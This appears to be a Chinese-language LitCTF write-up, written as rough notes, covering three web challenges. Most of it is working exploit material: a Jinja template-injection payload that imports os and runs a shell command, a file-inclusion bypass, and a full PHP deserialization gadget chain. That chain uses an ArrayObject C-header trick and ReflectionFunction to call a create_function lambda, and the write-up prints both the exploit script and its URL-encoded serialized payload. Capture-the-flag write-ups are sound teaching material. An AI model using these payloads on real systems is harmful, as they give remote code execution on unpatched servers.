litCTF
easy_file

admin/password
后台是文件上传
经过尝试发现是白名单,那么就只好找文件包含或者解析漏洞了。在index的源码发现file查看文件
在admin.php使用file参数可以文件包含,文件内容也有过滤直接短标签即可
nest_js
admin/password


啊{%print(url_for.__globals__.__builtins__['__import__']('os').popen('tac /flag').read())%}

1 | {"settings":{"theme":"asd","language":"asd", |

1 | {"settings":{"theme":"asd","language":"asd", |
君の名は
1 |
|
这个反序列化挺有意思的,首先很明显链尾应该是Taki的__call这里有个原生类的利用
那么链头应该是unserialize链子应该如下1
Taki{__unserialize}->Mitsuha{__invoke}->KatawareDoki{__toString}->Taki{__call}
然后这里有两个坑,第一个是我们要C头绕过但是7.3版本以下才会转为C头但是unserialize在7.4才出,所以我们需要7.3生成payload,7.4调试,不能直接在7.3上运行payload。
第二个坑点是unserialize中的$data['xxx']
这个xxx其实是我们序列化字符的{"xxx":""}
key而我们都知道private属性的在序列化时会在前面加上一个%00类名%00,这样的话如果我们直接7.3序列化7.4反序列化就会导致unserialize。不赋值,所以我们需要将Taki的private属性改成public。
坑点结束后就是怎么利用这个原生类来命令执行了。
首先我们可以看到其使用create_function(“”, ‘die(/readflag
);’);创造了一个匿名类。
那么可以尝试使用反射类来调用这个匿名类

ReflectionFunction可以直接调用方法
而这个创建的那么类正好没有参数
那么只要知道这个匿名类的名称就可以得到flag了
本地测了一下第一次进入时叫lambda_1第二次叫lambda_2
那么可以写exp了
写exp的时候又遇到一个问题就是在反序列化的时候

在后面new的Taki也会触发__unserialize所以要给两个都附上值不然会报错
exp如下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65<?php
error_reporting(0);
create_function("", 'echo "aaaa";');
class Taki
{
public $musubi;
public $magic;
public function __unserialize(array $data)
{
$this->musubi = $data['musubi'];
$this->magic = $data['magic'];
return ($this->musubi)();
}
public function __call($func,$args){
(new $args[0]($args[1]))->{$this->magic}();
}
}
class Mitsuha
{
private $memory;
private $thread="asdw";
public function __construct($a)
{
$this->memory=$a;
}
public function __invoke()
{
return $this->memory.$this->thread;
}
}
class KatawareDoki
{
private $soul;
private $kuchikamizake="ReflectionFunction";
private $name;
public function __construct()
{
$a=new Taki();
$a->musubi="time";
$a->magic="invoke";
$this->soul=$a;
$this->name=urldecode("%00lambda_10");
}
public function __toString()
{
($this->soul)->flag($this->kuchikamizake,$this->name);
return "call error!no flag!";
}
}
$a=new Taki();
$a->musubi=new Mitsuha(new KatawareDoki());
$arr=array("1"=>$a);
$b=new ArrayObject($arr);
$c=serialize($b);
echo urlencode($c);
//unserialize($c);
unserialize(urldecode("C%3A11%3A%22ArrayObject%22%3A361%3A%7Bx%3Ai%3A0%3Ba%3A1%3A%7Bi%3A1%3BO%3A4%3A%22Taki%22%3A2%3A%7Bs%3A6%3A%22musubi%22%3BO%3A7%3A%22Mitsuha%22%3A2%3A%7Bs%3A15%3A%22%00Mitsuha%00memory%22%3BO%3A12%3A%22KatawareDoki%22%3A3%3A%7Bs%3A18%3A%22%00KatawareDoki%00soul%22%3BO%3A4%3A%22Taki%22%3A2%3A%7Bs%3A6%3A%22musubi%22%3Bs%3A4%3A%22time%22%3Bs%3A5%3A%22magic%22%3Bs%3A6%3A%22invoke%22%3B%7Ds%3A27%3A%22%00KatawareDoki%00kuchikamizake%22%3Bs%3A18%3A%22ReflectionFunction%22%3Bs%3A18%3A%22%00KatawareDoki%00name%22%3Bs%3A10%3A%22%00lambda_10%22%3B%7Ds%3A15%3A%22%00Mitsuha%00thread%22%3Bs%3A4%3A%22asdw%22%3B%7Ds%3A5%3A%22magic%22%3BN%3B%7D%7D%3Bm%3Aa%3A0%3A%7B%7D%7D"));
匿名函数后面的数字稍微大点,然后多发几个包
